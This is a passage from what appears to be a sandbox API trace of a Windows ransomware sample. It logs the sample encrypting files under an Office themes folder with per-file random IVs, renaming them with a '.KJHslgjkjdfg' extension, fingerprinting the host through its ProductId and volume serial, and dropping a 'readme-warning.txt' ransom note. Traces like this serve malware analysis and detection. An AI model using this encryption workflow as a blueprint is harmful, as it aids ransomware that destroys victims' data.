hTemplateFile=0x0) returned 0x118 [0147.261] GetProcessHeap () returned 0x2a0000 [0147.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.261] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.261] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.261] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.261] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.261] GetProcessHeap () returned 0x2a0000 [0147.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.261] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.261] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.261] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.264] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.264] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.264] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.264] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.264] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.264] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.264] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.264] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.264] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4d0, lpOverlapped=0x0) returned 1 [0147.264] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4d0) returned 1 [0147.264] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.264] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4d0, lpOverlapped=0x0) returned 1 [0147.265] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.265] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.265] SetEndOfFile (hFile=0x118) returned 1 [0147.267] GetProcessHeap () returned 0x2a0000 [0147.267] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.267] GetProcessHeap () returned 0x2a0000 [0147.267] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.273] CloseHandle (hObject=0x118) returned 1 [0147.273] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.274] GetProcessHeap () returned 0x2a0000 [0147.274] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.274] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.274] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.274] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0147.276] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.276] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.276] GetProcessHeap () returned 0x2a0000 [0147.276] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.276] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.276] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.276] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.276] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.276] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.276] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.276] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.276] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.277] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.277] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.277] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x47ed, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x47ed, lpOverlapped=0x0) returned 1 [0147.278] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x47f0, dwBufLen=0x47f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x47f0) returned 1 [0147.278] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.278] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x47f0, lpOverlapped=0x0) returned 1 [0147.278] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.278] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x48c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.279] SetEndOfFile (hFile=0x118) returned 1 [0147.281] GetProcessHeap () returned 0x2a0000 [0147.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.281] GetProcessHeap () returned 0x2a0000 [0147.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.282] CloseHandle (hObject=0x118) returned 1 [0147.284] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.284] GetProcessHeap () returned 0x2a0000 [0147.284] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.284] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.284] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.284] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.284] GetProcessHeap () returned 0x2a0000 [0147.284] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.284] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.284] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.284] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.284] GetProcessHeap () returned 0x2a0000 [0147.284] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.284] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.284] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.284] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.284] GetProcessHeap () returned 0x2a0000 [0147.284] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.284] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.285] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.285] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.285] GetProcessHeap () returned 0x2a0000 [0147.285] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.285] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.285] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.285] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.285] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.285] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.285] RegCloseKey (hKey=0x118) returned 0x0 [0147.285] GetProcessHeap () returned 0x2a0000 [0147.285] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.285] GetProcessHeap () returned 0x2a0000 [0147.285] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.285] GetProcessHeap () returned 0x2a0000 [0147.285] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.285] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.285] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.285] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.285] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.285] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.286] GetProcessHeap () returned 0x2a0000 [0147.286] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.286] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.286] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.286] GetProcessHeap () returned 0x2a0000 [0147.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.286] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\readme-warning.txt") returned 82 [0147.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.286] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.288] CloseHandle (hObject=0x118) returned 1 [0147.288] GetProcessHeap () returned 0x2a0000 [0147.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.288] GetProcessHeap () returned 0x2a0000 [0147.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.288] GetProcessHeap () returned 0x2a0000 [0147.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.288] GetProcessHeap () returned 0x2a0000 [0147.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.288] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.289] GetProcessHeap () returned 0x2a0000 [0147.289] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.289] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0147.289] GetProcessHeap () returned 0x2a0000 [0147.289] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0147.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.290] GetProcessHeap () returned 0x2a0000 [0147.290] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.290] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.290] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0147.290] GetProcessHeap () returned 0x2a0000 [0147.290] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0147.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.290] GetProcessHeap () returned 0x2a0000 [0147.291] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.291] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.291] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.291] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0147.293] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.293] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.293] GetProcessHeap () returned 0x2a0000 [0147.293] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.293] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.293] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.293] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.293] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.293] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.293] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.294] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.294] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.294] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.294] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.294] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.294] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe743, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xe743, lpOverlapped=0x0) returned 1 [0147.295] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe750, dwBufLen=0xe750 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe750) returned 1 [0147.296] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.296] WriteFile (in: 